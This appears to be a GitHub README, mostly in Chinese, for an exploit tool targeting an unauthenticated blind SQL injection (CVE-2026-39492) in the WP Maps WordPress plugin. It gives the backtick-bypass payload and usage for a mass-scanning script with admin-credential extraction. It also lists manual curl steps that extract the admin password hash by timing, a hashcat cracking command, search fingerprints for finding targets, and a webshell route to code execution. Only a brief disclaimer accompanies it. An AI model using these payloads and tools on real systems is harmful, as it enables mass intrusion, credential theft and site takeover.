CVE-2026-39492 是 WP Maps 插件(wp-google-map-plugin)≤ 4.9.1 版本中存在的一个严重级别(CVSS 9.3)未认证盲 SQL 注入漏洞。
wpgmp_ajax_call AJAX 处理器通过 wp_ajax_nopriv_ 注册,允许未认证访问。location_id 参数会经由 FlipperCode_Model_Base::is_column() 传递——该函数错误地将以反引号包裹的输入视为可信的 SQL 列标识符,从而完全绕过了 WordPress 的 esc_sql() 清理。
| WP Maps 版本 | 状态 |
|---|---|
| ≤ 4.9.1 | 存在漏洞 |
| ≥ 4.9.2 | 已修复 |
活跃安装量: 100,000+
在插件的数据库抽象层中,is_column() 会检查用户输入是否被反引号包裹:
// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // bypasses esc_sql() entirely!
}
return false;
}
当 is_column() 返回 true 时,输入会在未经 esc_sql() 转义的情况下直接传入 SQL 查询,从而允许:
location_id=`1` AND SLEEP(5) AND `1`=`1
1. Detect WP Maps via readme.txt → extract version
2. POST to /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inject backtick-wrapped payload in location_id parameter
4. Measure response time — SLEEP(N) confirms SQL injection
5. Extract data via boolean/time-based blind technique
| 指标 | 值 |
|---|---|
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 已更改(影响整个数据库) |
| 机密性 | 高 |
| 完整性 | 无 |
| 可用性 | 低 |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# Single target detection
python cve_2026_39492.py -t target.com
# Mass scan
python cve_2026_39492.py -f targets.txt
# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt
# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v
# Verbose output
python cve_2026_39492.py -t target.com -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save vulnerable targets to file
--threads Concurrent workers (default: 20)
--extract Extract admin credentials from confirmed targets
-v, --verbose Show detailed output
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass
Target: WP Maps (wp-google-map-plugin) <= 4.9.1
Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
Bypass: backtick-wrapped input bypasses esc_sql()
[+] WP Maps detected: v4.9.0
[*] SQLi test: 6.2s (threshold: 5s)
[+] Blind SQLi CONFIRMED (response: 6.2s)
Host : target.com
WP Maps : YES v4.9.0
SQLi : YES
Resp time : 6.2s
Time : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] Blind SQLi CONFIRMED (response: 5.8s)
[*] Extracting admin credentials via blind SQLi...
[*] Extracting: admin_user
[*] Extracting: $P$BqVg...
Admin User : admin_user
Admin Hash : $P$BqVg7xX...
CVE-2026-39492 WP Maps Blind SQLi Scanner
Targets: 2500 | Threads: 20
Vector: wpgmp_ajax_call → location_id backtick bypass
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 resp:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 resp:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Scan complete | Time: 320s
───────────────────────────────────────────────────────
Targets : 2500
WP Maps found : 47
SQLi confirmed : 12
步骤 1 — 检测插件
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
步骤 2 — 使用 SLEEP 测试 SQLi
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Response > 5 seconds → VULNERABLE
步骤 3 — 通过盲 SQLi 提取管理员哈希
# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# Response > 3 seconds → first char is ASCII 36 = '$'
步骤 4 — 破解哈希并登录 → 完全 RCE
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
成功利用该漏洞可提取整个 WordPress 数据库:
SELECT ... INTO OUTFILE → webshell → 直接 RCE仅供教育和授权测试用途。
本软件面向执行授权渗透测试的安全专业人员、审计自有基础设施的组织以及研究漏洞利用的研究人员。
未经授权访问计算机系统属违法行为,可能违反:
- 美国:计算机欺诈和滥用法(18 U.S.C. 1030)
- 印度尼西亚:UU ITE 第 30 条和第 46 条
- 欧盟:2013/40/EU 指令
- 英国:1990 年计算机滥用法
作者对滥用行为不承担任何责任。
| 资源 | 链接 |
|---|---|
| IONIX 公告 | ionix.io/threat-center/cve-2026-39492 |
| WPScan 公告 | wpscan.com/vulnerability/c1f19d2e |
| Wordfence 公告 | wordfence.com |
| NVD 条目 | CVE-2026-39492 |
| 插件 Trac | wp-google-map-plugin |
本项目与 Flipper Code 或 WP Maps 无任何关联。